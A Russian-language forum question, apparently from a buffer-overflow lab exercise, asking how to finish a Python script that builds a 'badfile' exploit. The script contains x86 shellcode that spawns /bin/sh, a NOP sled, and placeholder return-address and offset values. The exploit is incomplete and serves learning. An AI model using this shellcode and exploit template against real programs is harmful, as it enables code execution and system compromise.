Как построить переполнение буфера? - PullRequest
0 голосов
/ 23 марта 2020

У меня есть этот "плохой файл" для создания переполнения буфера со следующими инструкциями, но у меня возникают проблемы с пониманием того, что нужно сделать:

Я получил следующую информацию после запуска GDP:

$1 = 0xbffff058
$2 = 0xbbbb078
$3= 0x20

Файл выглядит следующим образом:

import sys
shellcode=   \
"\x31\xc0"   \
"\x50"       \
"\x68""//sh" \
"\x68""/bin" \
"\x89\xe3"   \
"\x50"       \
"\x53"       \     
"\x89\xe1"   \ 
"\x99"       \
"\xb0\x0b"   \
"\xcd\x80"   \
"\x00"       \

Теперь я заполняю содержимое NOP.

content = ["\x90" for i in range(517)]

Теперь я заменяю 0 на правильное значение смещения в Шестнадцатеричный или десятичный.

D=0

Теперь мне нужно заполнить поле обратного адреса адресом шелл-кода. Замените FF на правильное значение и добавьте пропущенные значения.

content[D+0]="\xFF"
content[D+3]="\xFF"

Теперь я ставлю шелл-код в конце

start = 517 - len(shellcode)
content[start:] = shellcode

Теперь я пишу содержимое в badfile

file= open("badfile", "wb")
file.write(' '.join(content))
file.close()
...